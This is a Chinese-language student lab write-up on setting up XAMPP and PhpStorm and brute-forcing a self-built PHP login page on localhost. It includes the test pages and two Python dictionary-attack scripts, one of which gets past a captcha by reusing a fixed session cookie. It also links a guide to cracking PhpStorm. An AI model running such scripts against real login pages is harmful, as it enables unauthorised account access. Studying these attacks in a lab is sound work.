XAMPP、PHPstorm和PHPcharm和Windows環境下Python搭建+暴力破解

XAMPP的安裝和使用

1、什麼是XAMPP?

XAMPP是最流行的PHP開發環境。 XAMPP是徹底免費且易於安裝的Apache發行版,其中包含Apache、MariaDB、PHP和Perl。php

相似XAMPP的服務器套件還有不少,我用過的還有UPUPW,它們都極大的簡化了開發環境的配置。html

十六款免費的服務器套件的介紹介紹了主流的免費服務器開發套件。python

2、安裝

xampp下載地址:http://www.xampp.cc/mysql

安裝沒什麼好說的,「下一步」直到安裝完成。web

三.使用

雙擊xampp安裝目錄下的xampp-control.exe,打開xampp控制面板。
點擊Apache的「Start」按鈕,啓動Apache服務。 Apache服務的端口默認是80和443,若是電腦上裝有虛擬機,443端口會被虛擬機佔用,致使Apache服務啓動失敗。這種狀況的修改方法以下:
① 打開任務管理器,找到找到vmware-hostd.exe進程,結束它。
② 打開VMware虛擬機,選擇菜單「編輯」——>"首選項",以下圖所示。

至於如何查看哪一個程序佔用了哪一個端口,能夠點xampp控制面板右側的「Netstat」按鈕,也能夠在命令提示符窗口輸入netstat -ano指令來查看這幾個端口是否被佔用。若佔用,記住PID,而後在任務管理器裏對於相應的PID,結束便可。若是任務管理器的列表中沒有PID這一列,點擊任務管理器的菜單「查看」——>「選擇列」,勾選PID便可。
比較通用的修改方法以下: (這種方法直接改xampp的配置文件。)
若是80端口被佔用
將xampp\apache\conf這個目錄下的httpd.conf 文件中 全部80換成其餘值。
將xampp\apache\conf\extra這個目錄下的 httpd-vhosts.conf 全部80換成其餘值。
若是是443端口被佔用
將XAMPP\apache\conf\extra這個目錄下的httpd-ssl.conf 全部443換成其餘值。
點擊MySQL的「Start」按鈕,啓動MySQL服務。 (若是電腦上以前安裝過MySQL,xampp的MySQL服務啓動失敗) 正確的修改方法是: ①在命令提示符窗口輸入regedit指令,打開註冊表編輯器。
②找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL,將ImagePath的數據修改爲xampp中mysq的位置,再次點擊MySQL的 「Start」按鈕,mysql服務正常啓動。
若是MySQL的默認端口3306被佔用,修改方法以下:
①修改佔用該端口的外部程序,修改方法前面說過。 或者
②點擊MySQL的 「Config」按鈕,選擇「my.ini」,打開該配置文件,並將其中的3306改爲其餘值。
sql

測試
在瀏覽器輸入http://localhost/dashboard/,出現以下頁面,測試成功。
apache

** 若是發現網頁找不到,那就把以前改的端口(好比我改的是8001)放在localhost後面,即:localhost:8001**windows

除此以外咱們還要搭建PHPSTORM環境!!! 根據這個老哥的博客來完成環境的搭建瀏覽器

[安裝XAMPP](http://www.cnblogs.com/Jason-Jan/p/7906773.html)
[安裝並破解PhpStorm](http://www.cnblogs.com/Jason-Jan/p/7918449.html)安全


實踐(咱們分兩個難度)

  • 暴力破解,顧名思義,就是不斷使用不一樣的帳號和密碼去猜想,猜想到成功爲止,以達到目的猜想出真實密碼。舉個例子說,web應用中經常存在一些登錄頁面,只要web應用中對嘗試登錄次數沒有限制,或者沒有足夠強大的人機識別(驗證碼)的話,就能夠進行暴力破解,本文主要涉及web應用上登錄的暴力破解。以下圖:

暴力破解測試頁面

源碼的部分是一個表單post給一個php頁面,形象一點也就是說在html頁面填好帳號密碼,而後數據就會傳給php來處理。

Html部分以下: (原參考博客該部分有誤,已做出修改)

<!DOCTYPEhtml>
<html>

<head>
    <meta charset="utf-8">
    <title>暴力破解測試頁面</title>
</head>

<body>

<div align="center">
    <h1>暴力破解測試頁面-low</h1></div>

<form action="Loginl.php" method="post" name="form">

    <fieldset>

        <legend><b>請輸入信息</b></legend>

        <p>用戶名:<input type="text" name="name" id="name"></p>

        <p>密碼:<input type="password" name="password" id="password"></p>

        <p><input type="submit" value="登陸"></p>
    </fieldset>
</form>

</body>

</html>

php部分以下

<!DOCTYPEhtml>
<html><head><meta charset="utf-8">

<?php
/**
 * Created by PhpStorm.
 * User: mac
 * Date: 2018/7/5
 * Time: 下午3:20
 */

session_start();
$pwd=$_POST["password"];
$name=$_POST["name"];

if($name=="")
{die("用戶名不能爲空");}
if($pwd=="")
{die("密碼不能爲空");}
if($name=="admin"&&$pwd=="1234")
{echo"登錄成功!!!";setcookie("user","$name",time()+3600);}
else{echo"登錄失敗";}
?>

</head>
</html>
  • 遇到的問題及解決
    點擊登陸按鈕後php頁面502錯誤
    解決:這個時候咱們把xampp中的php.exe連接進去就ok了
    點擊登陸按鈕後發現post不了psd和username
    解決:試了半天不知道爲何,因而我把post換成了get。發現可行,可是post對於web來講通常更安全,因此不推薦使用get,容易被漏洞利用。
    最後我下了最新版本的PHPstorm就ok了。。。

只須要使用requests模塊來進行請求訪問,使用bs4來判斷登錄是否成功,附上代碼:

無驗證碼暴力破解的python腳本

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests
from bs4 import BeautifulSoup


def crack(username='admin', password='1234566'):  # 定義一個暴力破解的函數
    print('正在嘗試帳號:%s,密碼:%s' % (username, password))  # 回顯輸出
    url = 'http://localhost:63342/untitled2/Loginl.html'  # 定義須要暴破請求的地址
    datas = {'name': 'admin', 'password': password}  # 定義暴力破解的帳號和密碼
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1'
    }  # 定義訪問數據包的請求頭,由於若是有防禦網站會限制ua
    req = requests.post(url, datas, headers=header, )  # 發送請求
    # print req.content
    html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8")  # 定義響應內容爲html
    res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode(
        'unicode-escape').encode('utf-8')  # 獲取響應信息
    print
    res
    if '登錄成功' in res:  # 判斷是否登錄成功
        exit("密碼爲%s" % password)


if __name__ == '__main__':
    for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines():  # 暴力破解的字典
        crack(password=psw)
    pass
  • 這一部分太簡單了,咱們很容易就實現破解。 因此很少描述。

  • 咱們經過PGPstrom和PGPcharm實現了上一部分,而後在第二個部分的時候,咱們發現PHP頁面的url是會隨時根據驗證碼的變化而變化的,那爲了解決這個不穩定的問題,固然咱們也能夠選擇在本機系統下直接運行,這個時候就須要用到xampp了。


暴力破解+驗證碼

具體實現步驟以下:

  1. 咱們在xampp的安裝目錄下,新建一個文件夾把咱們實驗所需的文件放進去:

    圖MyProject

  2. 確保Xampp的apache打開。

  3. 經過localhost:8001/LoginMid.html訪問咱們編寫好的頁面

    你們能夠看到在此頁面中咱們加入了驗證碼。 稍後貼出相關代碼

  4. 咱們輸入相關信息,驗證一下代碼。發現經過xampp直接運行,咱們的url是能夠直接使用的

  5. 配置好了頁面,咱們要開始攻擊了。編寫好python腳本,同時注意:

  6. 爲了能在windows下直接使用python命令,咱們須要在系統的環境變量裏添加python路徑!把它變成咱們的一部分!

  7. 腳本編好了,軟件能夠幫咱們下載須要的插件,可是在windows環境下,咱們須要在cmd中手動下載,首先咱們進入到/Python27/Scripts/中,在這個路徑下咱們可使用其中的pip進行咱們的下載:

    PS:若是自帶的pip的版本太低須要更新,跟着命令行的提示一步步走就好了

  8. 在windows下使用python與在軟件內相同,因爲咱們的代碼使用了request模塊、bs4以及lxml,這都是咱們如今須要下載的。
    pip install requests

    pip install bs4

    pip install (你所下載的lxml的保存路徑)/lxml-4.2.3-cp27-cp27m-win_amd64.whlPS:lxml本身在網上下載,要對應python版本,我下的是2.7的)

9.保證咱們代碼裏的信息與網頁信息同樣:

10.接下來咱們直接執行:python attack_3.py


該過程代碼

LoginMid.html

<!DOCTYPEhtml><html><head><meta charset="utf-8">

    <title>暴力破解測試頁面</title>

</head>

<body>

<div align="center"><h1>暴力破解測試頁面-難度medium</h1></div>

<form action="LoginMid.php" method="post"onsubmit="return judge();" name="form">

    <fieldset>

        <legend><b>請輸入信息</b></legend>

        <p>用戶名:<input type="text" name="name" id="name"></p>

        <p>密碼:<input type="password" name="password"id="password"></p>

        <p>驗證碼:<input type="text" name="yzm" id="yzm">

            <img src="yzm.php" onclick="this.src= 'yzm.php?nocache='+Math.random()" style="color:white"></p>

        <p><input type="submit" value="登陸"></p>
    </fieldset>
</form>
</body>
</html>

LoginMid.php

<!DOCTYPEhtml>

<html>

<head>

<metacharset="utf-8">

<?php
/**
 * Created by PhpStorm.
 * User: mac
 * Date: 2018/7/5
 * Time: 下午4:03
 */
session_start();



$pwd=@$_POST["password"];

$name=@$_POST["name"];

$yzm=@$_POST["yzm"];



if($name=="")

{die("user can't be NULL");}

if($pwd=="")

{die("password can't be NULL");}

if($yzm=="")

{die("yzm can't be NULL");}

if($yzm!=$_SESSION['VCODE']){

die("<script>alert('yzm error!!');location='".$_SERVER['HTTP_REFERER']."'</script>");}

if($name=="admin"&&$pwd=="1114")

{echo"success!!!";setcookie("user","$name",time()+3600);}

else

{echo"failed";

}

?>

</head></html>

yzm.php

<?php
/**
 * Created by PhpStorm.
 * User: mac
 * Date: 2018/7/5
 * Time: 下午4:04
 */
session_start();

Header("Content-type:image/PNG"); //提示用戶生成PNG的圖片文件

$im= imagecreate(60,25);   //建一個基於調色板的圖像

$back= imagecolorallocate($im, 245, 245, 245); //分配顏色

imagefill($im,0,0,$back); //圖像填充

$vcodes= "";



for($i=0;$i<4;$i++){

    $font=imagecolorallocate($im,0,0,0);  /*rand()隨機函數*/

    $authnum=rand(0,9);//驗證碼的隨機數

    $vcodes.=$authnum;

    imagestring($im,5,9+$i*10,5,$authnum,$font);

}

$_SESSION['VCODE']=$vcodes;



imagepng($im);  //把圖片輸出到瀏覽器文件

imagedestroy($im);  //釋放圖片資源

?>

Attack_3.py

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests
from bs4 import BeautifulSoup

RCode = '6989'


def crack(username='admin', password='1234566'):
    print'trying user:%s,pwd:%s,yzm:%s' % (username, password, RCode)
    # cookie={'security': 'low' , 'PHPSESSID' :'rkp71r263ucl7gg2i7t878ieli'}
    url = 'http://localhost:8001/MyProjects/LoginMid.php'
    datas = {'name': 'admin', 'password': password, 'yzm': RCode}
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8',
        'Connection': 'keep-alive',
        'Cookie': 'PHPSESSID=rkp71r263ucl7gg2i7t878ieli',  # 不帶cookie驗證碼會沒法使用
        'Referer': 'http://localhost:8001/MyProjects/LoginMid.html',
        'Upgrade-Insecure-Requests': '1'
    }
    req = requests.post(url, datas, headers=header, )
    # print req.content
    html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8")
    res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode(
        'unicode-escape').encode('utf-8')
    print res
    if 'success!!!' in res:
        exit("pwd is %s" % password)


if __name__ == '__main__':
    # crack()
    for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines():
        crack(password=psw)
pass

總結

這其中要用到字典,我用的字典是本身生成的。路徑在python腳本中會用到哦!!!
網上的都要積分,窮苦人民還得本身動手。
此次實踐大大的加強了個人動手能力,不斷地百度,不斷地報錯,不斷地調試,終於仍是實現啦!
同時我發現:

  1. 要注意各軟件或者插件的版本!使用時必定要對應!
  2. phpstorm和phpcharm都是須要.exe文件支持的,使用時記得導入路徑!
  3. 代碼調試的時間遠比你想象的要長!
  4. 須要一個好的partner帶來正面影響!
  5. 學習必定要以快樂的心情去學習!
相關文章
相關標籤/搜索